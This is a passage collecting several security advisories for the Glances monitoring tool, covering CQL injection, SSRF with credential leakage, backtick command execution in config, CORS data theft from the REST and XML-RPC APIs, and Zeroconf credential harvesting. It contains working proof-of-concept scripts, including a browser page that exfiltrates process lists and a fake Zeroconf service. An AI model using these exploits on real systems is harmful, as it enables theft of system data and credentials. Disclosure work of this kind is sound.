See how nicolargo compares to other vendors in security performance
Summary
The Cassandra export module (glances/exports/glancescassandra/init.py) interpolates keyspace, table, and replicationfactor configuration values directly into CQL statements without validation. A user with write access to glances.conf can redirect all monitoring data to an attacker-controlled Cassandra keyspace.
Vulnerable Code
python Line 80 f"CREATE KEYSPACE {self.keyspace} WITH " f"replication = {{ 'class': 'SimpleStrategy', 'replicationfactor': '{self.replicationfactor}' }}"
Line 94 f"CREATE TABLE {self.table} (plugin text, time timeuuid, stat map<text,float>, PRIMARY KEY (plugin, time)) WITH CLUSTERING ORDER BY (time DESC)"
Line 112 stmt = f"INSERT INTO {self.table} (plugin, time, stat) VALUES (?, ?, ?)"
Steps to Reproduce
1. Configure glances.conf with malicious table value: ini [cassandra] host = 127.0.0.1 port = 9042 keyspace = glances table = attackerks.capturedstats 2. Create attacker keyspace in Cassandra 3. Run glances --export cassandra 4. All monitoring data is written to attackerks.capturedstats instead of the legitimate table
Confirmed output: INSERT stmt: INSERT INTO attackerks.capturedstats (plugin, time, stat) VALUES (?, ?, ?) Legitimate table row count: 0 Attacker table row count: 1 [CONFIRMED] plugin=cpu, stat={'user': 50.0}
Impact
All exported monitoring data (CPU, memory, network, disk I/O) is silently redirected to an attacker-controlled Cassandra keyspace — both data exfiltration and data loss.
Proposed Fix
python import re
def validatecqlidentifier(name: str) -> str: if not re.match(r'^[a-zA-Z][a-zA-Z0-9.]$', name): raise ValueError(f"Invalid CQL identifier: {name!r}") return name
In init(): validate before use self.keyspace = validatecqlidentifier(self.keyspace) self.table = validatecqlidentifier(self.table)
!PoC
Summary A Server-Side Request Forgery (SSRF) vulnerability exists in the Glances IP plugin due to improper validation of the publicapi configuration parameter. The value of publicapi is used directly in outbound HTTP requests without any scheme restriction or hostname/IP validation.
An attacker who can modify the Glances configuration can force the application to send requests to arbitrary internal or external endpoints. Additionally, when publicusername and publicpassword are set, Glances automatically includes these credentials in the Authorization: Basic header, resulting in credential leakage to attacker-controlled servers.
This vulnerability can be exploited to:
Access internal network services (e.g., 127.0.0.1, 192.168.x.x) Retrieve sensitive data from cloud metadata endpoints (e.g., 169.254.169.254) Exfiltrate credentials via outbound HTTP requests
The issue arises because publicapi is passed directly to the HTTP client (urlopenauth) without validation, allowing unrestricted outbound connections and unintended disclosure of sensitive information.
Details The vulnerability exists in the Glances IP plugin where the publicapi configuration value is used to fetch public IP information. This value is read directly from the configuration file and passed to the HTTP client without any validation.
Root Cause In glances/plugins/ip/init.py, the publicapi parameter is retrieved from configuration and later used to initialize a background thread responsible for making HTTP requests:
self.publicapi = self.getconfvalue("publicapi", default=[None])[0]
self.publicipthread = ThreadPublicIpAddress( url=self.publicapi, username=self.publicusername, password=self.publicpassword, refreshinterval=self.publicaddressrefreshinterval, )
There is no validation performed on: - URL scheme (e.g., http, https, file) - Hostname or resolved IP address - Internal or restricted IP ranges - Unsafe HTTP Request Handling
The request is executed via urlopenauth() in glances/globals.py:
def urlopenauth(url, username, password, timeout=3): return urlopen( Request( url, headers={ 'Authorization': 'Basic ' + base64.b64encode(f'{username}:{password}'.encode()).decode() }, ), timeout=timeout, )
This function: - Accepts any URL passed to it - Automatically attaches a Basic Authorization header - Does not enforce any restrictions on destination
PoC SSRF via publicapi (Glances IP Plugin) Prerequisites Glances installed Two terminals Step 1 Start listener (Terminal 1) nc -lvnp 9999
Step 2 Create malicious config (Terminal 2) mkdir -p ~/.config/glances
cat > ~/.config/glances/glances.conf << 'EOF' [ip] publicdisabled=False publicapi=http://127.0.0.1:9999/ssrf-poc publicusername=apiuser publicpassword=S3cr3tP@ss EOF
Step 3 Start Glances glances --webserver Step 4 Observe SSRF request (Terminal 1) GET /ssrf-poc HTTP/1.1 Host: 127.0.0.1:9999 User-Agent: Python-urllib/3.x
Authorization: Basic YXBpdXNlcjpTM2NyM3RQQHNz Step 5 Decode leaked credentials echo "YXBpdXNlcjpTM2NyM3RQQHNz" | base64 -d
Output: apiuser:S3cr3tP@ss Step 6 Confirm data via API curl -s http://127.0.0.1:61208/api/4/ip { "address": "...", "mask": "255.255.255.0", "maskcidr": 24 }
Impact This vulnerability allows an attacker to control outbound HTTP requests made by the Glances IP plugin via the publicapi configuration parameter.
Server-Side Request Forgery (SSRF): The application can be forced to send requests to arbitrary endpoints, including internal services and localhost. Credential Leakage: When publicusername and publicpassword are configured, they are automatically sent in the Authorization: Basic header to any target defined in publicapi, exposing credentials to attacker-controlled servers. Internal Network Access: The vulnerability enables access to internal resources such as: 127.0.0.1 (localhost services) Private network ranges (192.168.x.x, 10.x.x.x, 172.16.x.x) Cloud Metadata Exposure: The application can be directed to query cloud metadata endpoints such as: http://169.254.169.254/ potentially exposing sensitive credentials (e.g., IAM tokens in cloud environments) Data Injection / Manipulation: Responses from attacker-controlled servers are accepted and stored by Glances, then exposed via /api/4/ip, allowing injection of arbitrary data into the application.
NOTE Vulnerability Location
The issue originates from how the publicapi configuration value is handled and used without validation.
1. Source of user-controlled input
File: glances/plugins/ip/init.py (around lines ~64–82) self.publicapi = self.getconfvalue("publicapi", default=[None])[0] self.publicusername = self.getconfvalue("publicusername", default=[None])[0] self.publicpassword = self.getconfvalue("publicpassword", default=[None])[0] publicapi is fully user-controlled via configuration No validation is applied at this stage
2. Missing validation before usage self.publicdisabled = ( self.getconfvalue('publicdisabled', default='False')[0].lower() != 'false' or self.publicapi is None or self.publicfield is None ) Only checks if the value is None No validation of: - URL scheme - Hostname - IP address range
3. Vulnerable sink (critical point) self.publicipthread = ThreadPublicIpAddress( url=self.publicapi, # ← user-controlled input username=self.publicusername, password=self.publicpassword, refreshinterval=self.publicaddressrefreshinterval, ) The user-controlled publicapi is passed directly into a network request This is the SSRF entry point
4. Unsafe HTTP execution
File: glances/globals.py (around lines ~360+) def urlopenauth(url, username, password, timeout=3): return urlopen( Request( url, # ← no validation at all headers={ 'Authorization': 'Basic ' + base64.b64encode(f'{username}:{password}'.encode()).decode() }, ), timeout=timeout, )
- Accepts any URL - Sends request blindly - Automatically attaches credentials to any destination - Root Cause
A user-controlled configuration value (publicapi) is passed directly into an HTTP request without validation of scheme or destination, resulting in SSRF and credential leakage.
Recommendation The fix must be applied before the URL is used, specifically in the IP plugin (init.py).
1. Enforce scheme restrictions Allow only: http https Reject: file:// gopher:// ftp:// any non-HTTP protocol
This prevents protocol abuse and local file access
2. Validate destination host Resolve the hostname to an IP address Check the resolved IP against restricted ranges
Block if the IP is:
Loopback → 127.0.0.0/8 Private → 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 Link-local → 169.254.0.0/16 (cloud metadata services)
This prevents:
Internal network probing AWS/GCP/Azure metadata access localhost abuse
3. Enforce validation before thread creation
The validation must occur before initializing:
ThreadPublicIpAddress(...) If validation fails: Disable the plugin Do not send any request
4. Trust boundary clarification urlopenauth() is a low-level utility It should not be responsible for validation
The caller (IP plugin) must ensure:
Only safe, external URLs are passed
Why This Fix Works Scheme validation blocks protocol-based attacks IP validation blocks internal and cloud targets Combined, they eliminate the SSRF attack surface while preserving legitimate use cases (public IP APIs)
Summary The Glances web server exposes a REST API (/api/4/) that is accessible without authentication and allows cross-origin requests from any origin due to a permissive CORS policy (Access-Control-Allow-Origin: ).
This allows a malicious website to read sensitive system information from a running Glances instance in the victim’s browser, leading to cross-origin data exfiltration.
While a previous advisory exists for XML-RPC CORS issues, this report demonstrates that the REST API (/api/4/) is also affected and exposes significantly more sensitive data.
Details When Glances is started in web mode (e.g., glances -w -B 0.0.0.0), it exposes a REST API endpoint at: http://<host>:61208/api/4/all The server responds with: Access-Control-Allow-Origin:
This allows any origin to perform cross-origin requests and read responses.
The /api/4/all endpoint returns extensive system information, including: - Process list (processlist) - System details (hostname, OS, CPU info) - Memory and disk usage - Network interfaces and IP address - Running services and metrics Because no authentication is required by default, this data is accessible to any web page.
PoC 1. Start Glances: glances -w -B 0.0.0.0
2. Create a malicious HTML file:
<!DOCTYPE html> <html> <body> <script> fetch("http://<victim-ip>:61208/api/4/all") .then(r => r.json()) .then(data => { console.log("DATA:", data); }); </script> </body> </html> 2. Open the file in a browser while Glances is running. 3. Observe that the browser successfully retrieves sensitive system information from the API. This works cross-origin (e.g., from file:// or attacker-controlled domains).
Impact A remote attacker can host a malicious website that, when visited by a victim running Glances, can:
- Read sensitive system information - Enumerate running processes - Identify network configuration and IP addresses - Fingerprint the host system
This requires no authentication and no user interaction beyond visiting a web page. This represents a cross-origin information disclosure vulnerability and can aid further attacks such as reconnaissance or targeted exploitation.
Summary Glances supports dynamic configuration values in which substrings enclosed in backticks are executed as system commands during configuration parsing. This behavior occurs in Config.getvalue() and is implemented without validation or restriction of the executed commands.
If an attacker can modify or influence configuration files, arbitrary commands will execute automatically with the privileges of the Glances process during startup or configuration reload. In deployments where Glances runs with elevated privileges (e.g., as a system service), this may lead to privilege escalation.
Details
1. Glances loads configuration files from user, system, or custom paths during initialization. 2. When retrieving a configuration value, Config.getvalue() scans for substrings enclosed in backticks.
File: glances/config.py match = self.repattern.findall(ret) for m in match: ret = ret.replace(m, systemexec(m[1:-1]))
3. The extracted string is passed directly to systemexec().
File: glances/globals.py sh res = subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode('utf-8')
4. The command is executed and its output replaces the original configuration value.
This execution occurs automatically whenever the configuration value is read.
Affected Files
glances/config.py — dynamic configuration parsing
glances/globals.py — command execution helper
Proof of Concept (PoC)
Scenario: Arbitrary command execution via configuration value
Step 1 — Create malicious configuration file
sh /tmp/glances.conf
add below txt on the file
[outputs] urlprefix = 'id'
Step 2 — Launch Glances with custom configuration
sh glances -C /tmp/glances.conf
Step 3 — Observe behavior
When Glances reads the configuration:
- The command inside backticks is executed - Output replaces the configuration value - Execution occurs without user interaction Reproduce using Python code import subprocess import re
def systemexec(command): return subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode().strip()
value = "id" pattern = re.compile(r'(.+?)')
for m in pattern.findall(value): print(systemexec(m[1:-1]))
Output:
uid=1000(user) gid=1000(user) groups=1000(user)
Impact
Arbitrary Command Execution
Any command enclosed in backticks inside a configuration value will execute with the privileges of the Glances process.
Potential Privilege Escalation
If Glances runs as a privileged service (e.g., root), commands execute with those privileges.
Possible scenarios include:
- Misconfigured file permissions allowing unauthorized config modification - Shared systems where configuration directories are writable by multiple users - Container environments with mounted configuration volumes - Automated configuration management systems that ingest untrusted data
Summary
The Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths).
Details
File: glances/server.py, class GlancesXMLRPCHandler, line 41
python def sendmyheaders(self): self.sendheader("Access-Control-Allow-Origin", "")
This header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results.
The REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI/Uvicorn and is started with glances -w, while the XML-RPC server uses Python's xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text/plain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text/plain body is parsed and executed normally.
PoC
Prerequisites: Glances installed (any version including latest 4.5.1+), started in server mode.
Step 1. Start the Glances XML-RPC server on the target machine:
glances -s -p 61209
Step 2. From any machine, run the Python PoC to confirm the issue server-side:
python3 poctest.py TARGETIP 61209
Step 3. To demonstrate the browser attack, host poccorsxmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http://TARGETIP:61209), and click "Steal System Data". The page will display the full system monitoring data retrieved cross-origin.
Step 4. Alternatively, paste this into any browser console while on any website:
javascript fetch("http://TARGETIP:61209/RPC2", { method: "POST", headers: {"Content-Type": "text/plain"}, body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>' }).then(r => r.text()).then(d => { let m = d.match(/<string>([\s\S]?)<\/string>/); let data = JSON.parse(m[1].replace(/</g,"<").replace(/>/g,">").replace(/&/g,"&")); console.log("Hostname:", data.system.hostname); console.log("Processes:", data.processlist.length); console.log("First process cmdline:", data.processlist[0].cmdline); });
Verified output from testing on Glances 4.5.3dev01 (current main branch):
[+] HTTP Status: 200 [+] Access-Control-Allow-Origin: [+] Successfully retrieved system data cross-origin. Hostname: claude OS: Linux 6.8.0-1024-gcp Process count: 125 Top processes include full command lines with arguments Total data categories exposed: 35
Impact
Any user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command lines (which commonly contain database credentials, API tokens, internal service URLs, and file paths), disk mount points, network interface details, and sensor readings. Default configuration has no authentication, making every XML-RPC server instance exploitable out of the box.
poctest.py
python #!/usr/bin/env python3 """ PoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration
This script simulates the browser-based attack by sending a POST request with Content-Type: text/plain (CORS simple request) to the Glances XML-RPC server.
The server responds with Access-Control-Allow-Origin: which allows any webpage to read the full response containing system monitoring data.
Usage: python3 poctest.py [targethost] [targetport] Default: python3 poctest.py 127.0.0.1 61209 """
import http.client import json import sys import xmlrpc.client
def main(): host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" port = int(sys.argv[2]) if len(sys.argv) > 2 else 61209
print(f"[] Target: {host}:{port}") print(f"[] Simulating cross-origin request (Content-Type: text/plain)") print()
conn = http.client.HTTPConnection(host, port, timeout=10)
# XML-RPC payload sent as text/plain to avoid CORS preflight payload = '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>' headers = { "Content-Type": "text/plain", "Origin": "http://evil-attacker.com", }
try: conn.request("POST", "/RPC2", body=payload, headers=headers) response = conn.getresponse() except Exception as e: print(f"[-] Connection failed: {e}") sys.exit(1)
print(f"[+] HTTP Status: {response.status}") cors = response.getheader("Access-Control-Allow-Origin") print(f"[+] Access-Control-Allow-Origin: {cors}") print()
if cors != "": print("[-] CORS header is not wildcard. Attack would not work.") sys.exit(1)
data = response.read() result = xmlrpc.client.loads(data)[0][0] parsed = json.loads(result)
print("[+] Successfully retrieved system data cross-origin.") print() print("=== Stolen System Information ===") print()
system = parsed.get("system", {}) print(f"Hostname: {system.get('hostname', 'N/A')}") print(f"OS: {system.get('osname', 'N/A')} {system.get('osversion', '')}") print(f"Platform: {system.get('platform', 'N/A')}") print(f"Distribution: {system.get('linuxdistro', 'N/A')}") print()
cpu = parsed.get("cpu", {}) print(f"CPU user: {cpu.get('user', 'N/A')}%") print(f"CPU system: {cpu.get('system', 'N/A')}%") print(f"CPU cores: {cpu.get('cpucore', 'N/A')}") print()
mem = parsed.get("mem", {}) totalmb = round((mem.get("total", 0)) / 1024 / 1024) usedmb = round((mem.get("used", 0)) / 1024 / 1024) print(f"Memory: {usedmb}MB / {totalmb}MB ({mem.get('percent', 'N/A')}%)") print()
ipinfo = parsed.get("ip", {}) print(f"IP Address: {ipinfo.get('address', 'N/A')}") print(f"Subnet Mask: {ipinfo.get('mask', 'N/A')}") print()
procs = parsed.get("processlist", []) print(f"Process count: {len(procs)}") print() print("Top 5 processes by CPU (with command lines):") for p in sorted(procs, key=lambda x: x.get("cpupercent", 0), reverse=True)[:5]: cmdline = p.get("cmdline", []) cmd = " ".join(cmdline) if isinstance(cmdline, list) else str(cmdline) print(f" PID {p.get('pid'):>6} | {p.get('name', 'N/A'):>20} | CPU {p.get('cpupercent', 0):>5.1f}% | {cmd[:100]}")
print() print(f"[+] Total data categories exposed: {len(parsed.keys())}") print(f"[+] Categories: {', '.join(sorted(parsed.keys()))}")
if name == "main": main()
poccorsxmlrpc.html
html <!DOCTYPE html> <html> <head><title>Glances XML-RPC CORS PoC</title></head> <body> <h2>Glances XML-RPC Cross-Origin Data Theft PoC</h2> <p>Target: <input id="target" value="http://127.0.0.1:61209" size="40"></p> <button onclick="exploit()">Steal System Data</button> <pre id="output" style="background:#111;color:#0f0;padding:10px;max-height:600px;overflow:auto;"></pre> <script> async function exploit() { const target = document.getElementById("target").value; const out = document.getElementById("output"); out.textContent = "[] Sending cross-origin XML-RPC request to " + target + "/RPC2\n"; out.textContent += "[] Content-Type: text/plain (CORS simple request, no preflight)\n\n";
try { const resp = await fetch(target + "/RPC2", { method: "POST", headers: {"Content-Type": "text/plain"}, body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>' });
out.textContent += "[+] Response status: " + resp.status + "\n"; out.textContent += "[+] CORS header: " + resp.headers.get("Access-Control-Allow-Origin") + "\n\n";
const xml = await resp.text(); const match = xml.match(/<string>([\s\S]?)<\/string>/); if (match) { const data = JSON.parse(match[1].replace(/</g,"<").replace(/>/g,">").replace(/&/g,"&")); out.textContent += "[+] === STOLEN SYSTEM DATA ===\n\n"; out.textContent += "Hostname: " + (data.system?.hostname || "N/A") + "\n"; out.textContent += "OS: " + (data.system?.osname || "N/A") + " " + (data.system?.osversion || "") + "\n"; out.textContent += "CPU cores: " + (data.cpu?.cpucore || "N/A") + "\n"; out.textContent += "CPU usage: " + (data.cpu?.user || "N/A") + "% user\n"; out.textContent += "Memory: " + Math.round((data.mem?.used||0)/1024/1024) + "MB / " + Math.round((data.mem?.total||0)/1024/1024) + "MB\n"; out.textContent += "Processes: " + (data.processlist?.length || 0) + "\n\n";
if (data.processlist?.length > 0) { out.textContent += "[+] Top 10 processes (with full command lines):\n"; data.processlist.slice(0, 10).forEach(p => { const cmd = Array.isArray(p.cmdline) ? p.cmdline.join(" ") : (p.cmdline || ""); out.textContent += " PID " + p.pid + " | " + p.name + " | " + cmd.substring(0,120) + "\n"; }); }
if (data.network?.length > 0) { out.textContent += "\n[+] Network interfaces:\n"; data.network.forEach(n => { out.textContent += " " + n.interfacename + " | RX: " + n.bytesrecv + " TX: " + n.bytessent + "\n"; }); }
if (data.fs?.length > 0) { out.textContent += "\n[+] Filesystems:\n"; data.fs.forEach(f => { out.textContent += " " + f.mntpoint + " | " + f.devicename + " | " + f.percent + "% used\n"; }); } } } catch(e) { out.textContent += "[-] Error: " + e.message + "\n"; } } </script> </body> </html>
Summary
In Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global [passwords] default credential.
An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode.
Details
Dynamic server discovery keeps both a short name and a separate ip:
python glances/serverslistdynamic.py:56-61 def addserver(self, name, ip, port, protocol='rpc'): newserver = { 'key': name, 'name': name.split(':')[0], # Short name 'ip': ip, # IP address seen by the client 'port': port, ... 'type': 'DYNAMIC', }
The Zeroconf listener populates those fields directly from the service advertisement:
python glances/serverslistdynamic.py:112-121 newserverip = socket.inetntoa(address) newserverport = info.port ... self.servers.addserver( srvname, newserverip, newserverport, protocol=newserverprotocol, )
However, the Central Browser connection logic ignores server['ip'] and instead uses the untrusted advertised server['name'] for both password lookup and the destination URI:
python glances/serverslist.py:119-130 def geturi(self, server): if server['password'] != "": if server['status'] == 'PROTECTED': clearpassword = self.password.getpassword(server['name']) if clearpassword is not None: server['password'] = self.password.gethash(clearpassword) uri = 'http://{}:{}@{}:{}'.format( server['username'], server['password'], server['name'], server['port'], ) else: uri = 'http://{}:{}'.format(server['name'], server['port']) return uri
That URI is used automatically by the background polling thread:
python glances/serverslist.py:141-143 def updatestats(self, server): server['uri'] = self.geturi(server)
The password lookup itself falls back to the global default password when there is no exact match:
python glances/passwordlist.py:45-58 def getpassword(self, host=None): ... try: return self.passworddict[host] except (KeyError, TypeError): try: return self.passworddict['default'] except (KeyError, TypeError): return None
The sample configuration explicitly supports that default credential reuse:
ini conf/glances.conf:656-663 [passwords] Define the passwords list related to the [serverlist] section ... #default=defaultpassword
The secret sent over the network is not the cleartext password, but it is still a reusable Glances authentication credential. The client hashes the configured password and sends that hash over HTTP Basic authentication:
python glances/password.py:72-74,94 For Glances client, get the password (confirm=False, clear=True): 2) the password is hashed with SHA-pbkdf2hmac (only SHA string transit password = passwordhash
python glances/client.py:55-57 if args.password != "": self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'
There is an inconsistent trust boundary in the interactive browser code as well:
- glances/clientbrowser.py:44 opens the REST/WebUI target via webbrowser.open(self.serverslist.geturi(server)), which again trusts server['name'] - glances/clientbrowser.py:55 fetches saved passwords with self.serverslist.password.getpassword(server['name']) - glances/clientbrowser.py:76 uses server['ip'] for the RPC client connection
That asymmetry shows the intended safe destination (ip) is already available, but the credential-bearing URI and password binding still use the attacker-controlled Zeroconf name.
Exploit Flow
1. The victim runs Glances in Central Browser mode with autodiscovery enabled and has a saved Glances password in [passwords] (especially default=...). 2. An attacker on the same multicast domain advertises a fake glances.tcp.local. service with an attacker-controlled service name. 3. Glances stores the discovered server as {'name': <advertised-name>, 'ip': <discovered-ip>, ...}. 4. The background stats refresh calls geturi(server). 5. Once the fake server causes the entry to become PROTECTED, geturi() looks up a saved password by the attacker-controlled name, falls back to default if present, hashes it, and builds http://username:hash@<advertised-name>:<port>. 6. The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential.
PoC
Step 1: Verified local logic proof
The following command executes the real glances/serverslist.py geturi() implementation (with unrelated imports stubbed out) and demonstrates that:
- password lookup happens against server['name'], not server['ip'] - the generated credential-bearing URI uses server['name'], not server['ip']
bash cd D:\bugcrowd\glances\repo @' import importlib.util import sys import types from pathlib import Path
pkg = types.ModuleType('glances') pkg.apiversion = '4' sys.modules['glances'] = pkg
clientmod = types.ModuleType('glances.client') class GlancesClientTransport: pass clientmod.GlancesClientTransport = GlancesClientTransport sys.modules['glances.client'] = clientmod
globalsmod = types.ModuleType('glances.globals') globalsmod.jsonloads = lambda x: x sys.modules['glances.globals'] = globalsmod
loggermod = types.ModuleType('glances.logger') loggermod.logger = types.SimpleNamespace( debug=lambda a, k: None, warning=lambda a, k: None, info=lambda a, k: None, error=lambda a, k: None, ) sys.modules['glances.logger'] = loggermod
passwordlistmod = types.ModuleType('glances.passwordlist') class GlancesPasswordList: pass passwordlistmod.GlancesPasswordList = GlancesPasswordList sys.modules['glances.passwordlist'] = passwordlistmod
dynamicmod = types.ModuleType('glances.serverslistdynamic') class GlancesAutoDiscoverServer: pass dynamicmod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer sys.modules['glances.serverslistdynamic'] = dynamicmod
staticmod = types.ModuleType('glances.serversliststatic') class GlancesStaticServer: pass staticmod.GlancesStaticServer = GlancesStaticServer sys.modules['glances.serversliststatic'] = staticmod
spec = importlib.util.specfromfilelocation('testedserverslist', Path('glances/serverslist.py')) mod = importlib.util.modulefromspec(spec) spec.loader.execmodule(mod) GlancesServersList = mod.GlancesServersList
class FakePassword: def getpassword(self, host=None): print(f'lookup:{host}') return 'defaultpassword' def gethash(self, password): return f'hash({password})'
sl = GlancesServersList.new(GlancesServersList) sl.password = FakePassword() server = { 'name': 'trusted-host', 'ip': '203.0.113.77', 'port': 61209, 'username': 'glances', 'password': None, 'status': 'PROTECTED', 'type': 'DYNAMIC', }
print(sl.geturi(server)) print(server) '@ | python -
Verified output:
text lookup:trusted-host http://glances:hash(defaultpassword)@trusted-host:61209 {'name': 'trusted-host', 'ip': '203.0.113.77', 'port': 61209, 'username': 'glances', 'password': 'hash(defaultpassword)', 'status': 'PROTECTED', 'type': 'DYNAMIC'}
This confirms the code path binds credentials to the advertised name and ignores the discovered ip.
Step 2: Live network reproduction
1. Configure a reusable browser password:
ini glances.conf [passwords] default=SuperSecretBrowserPassword
2. Start Glances in Central Browser mode on the victim machine:
bash glances --browser -C ./glances.conf
3. On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes PROTECTED:
python from zeroconf import ServiceInfo, Zeroconf import socket import time
zc = Zeroconf() info = ServiceInfo( "glances.tcp.local.", "198.51.100.50:61209.glances.tcp.local.", addresses=[socket.inetaton("198.51.100.50")], port=61209, properties={b"protocol": b"rpc"}, server="ignored.local.", ) zc.registerservice(info) time.sleep(600)
4. On the next Central Browser refresh, Glances first probes the fake server, marks it PROTECTED, then retries with:
text http://glances:<pbkdf2hashofdefaultpassword>@198.51.100.50:61209
5. The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.
Impact
- Credential exfiltration from browser operators: An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords. - Authentication replay: The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential. - REST/WebUI click-through abuse: For REST servers, webbrowser.open(self.serverslist.geturi(server)) can open attacker-controlled URLs with embedded credentials. - No user click required for background theft: The stats refresh thread uses the vulnerable path automatically once the fake service is marked PROTECTED. - Affected scope: This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.
Recommended Fix
Use the discovered ip as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.
python glances/serverslist.py
def getconnecthost(self, server): if server.get('type') == 'DYNAMIC': return server['ip'] return server['name']
def getpreconfiguredpassword(self, server): # Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds if server.get('type') == 'DYNAMIC': return None return self.password.getpassword(server['name'])
def geturi(self, server): host = self.getconnecthost(server) if server['password'] != "": if server['status'] == 'PROTECTED': clearpassword = self.getpreconfiguredpassword(server) if clearpassword is not None: server['password'] = self.password.gethash(clearpassword) return 'http://{}:{}@{}:{}'.format(server['username'], server['password'], host, server['port']) return 'http://{}:{}'.format(host, server['port'])
And use the same getpreconfiguredpassword() logic in glances/clientbrowser.py instead of calling self.serverslist.password.getpassword(server['name']) directly.
Summary
In Central Browser mode, the /api/4/serverslist endpoint returns raw server objects from GlancesServersList.getserverslist(). Those objects are mutated in-place during background polling and can contain a uri field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret.
If the front Glances Browser/API instance is started without --password, which is supported and common for internal network deployments, /api/4/serverslist is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance.
Details
The Browser API route simply returns the raw servers list:
python glances/outputs/glancesrestfulapi.py:799-805 def apiserverslist(self): self.updateserverslist() return GlancesJSONResponse(self.serverslist.getserverslist() if self.serverslist else [])
The main API router is only protected when the front instance itself was started with --password. Otherwise there are no authentication dependencies at all:
python glances/outputs/glancesrestfulapi.py:475-480 if self.args.password: router = APIRouter(prefix=self.urlprefix, dependencies=[Depends(self.authentication)]) else: router = APIRouter(prefix=self.urlprefix)
The Glances web server binds to 0.0.0.0 by default:
python glances/main.py:425-427 parser.addargument( '--bind', default='0.0.0.0', dest='bindaddress', )
During Central Browser polling, server entries are modified in-place and gain a uri field:
python glances/serverslist.py:141-148 def updatestats(self, server): server['uri'] = self.geturi(server) ... if server['protocol'].lower() == 'rpc': self.updatestatsrpc(server['uri'], server) elif server['protocol'].lower() == 'rest' and not importrequestserrortag: self.updatestatsrest(f"{server['uri']}/api/{apiversion}", server)
For protected servers, geturi() loads the saved password from the [passwords] section (or the default password), hashes it, and embeds it directly in the URI:
python glances/serverslist.py:119-130 def geturi(self, server): if server['password'] != "": if server['status'] == 'PROTECTED': clearpassword = self.password.getpassword(server['name']) if clearpassword is not None: server['password'] = self.password.gethash(clearpassword) uri = 'http://{}:{}@{}:{}'.format( server['username'], server['password'], server['name'], server['port'], ) else: uri = 'http://{}:{}'.format(server['name'], server['port']) return uri
Password lookup falls back to a global default:
python glances/passwordlist.py:55-58 try: return self.passworddict[host] except (KeyError, TypeError): return self.passworddict['default']
The sample configuration explicitly supports browser-wide default password reuse:
ini conf/glances.conf:656-663 [passwords] localhost=abc default=defaultpassword
The secret embedded in uri is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication:
python glances/password.py:72-74,94 For Glances client, get the password (confirm=False, clear=True): 2) the password is hashed with SHA-pbkdf2hmac (only SHA string transit password = passwordhash
python glances/client.py:56-57 if args.password != "": self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'
The Browser WebUI also consumes that raw uri directly and redirects the user to it:
javascript // glances/outputs/static/js/Browser.vue:83-103 fetch("api/4/serverslist", { method: "GET" }) ... window.location.href = server.uri;
So once server.uri contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript.
PoC
Step 1: Verified local live proof that server objects contain credential-bearing URIs
The following command executes the real glances/serverslist.py update logic against a live local HTTP server that always returns 401. This forces Glances to mark the downstream server as PROTECTED and then retry with the saved/default password. After the second refresh, the in-memory server list contains a uri field with embedded credentials.
bash cd D:\bugcrowd\glances\repo @' import importlib.util import json import sys import threading import types from http.server import BaseHTTPRequestHandler, HTTPServer from pathlib import Path from defusedxml import xmlrpc as defusedxmlrpc
pkg = types.ModuleType('glances') pkg.apiversion = '4' sys.modules['glances'] = pkg
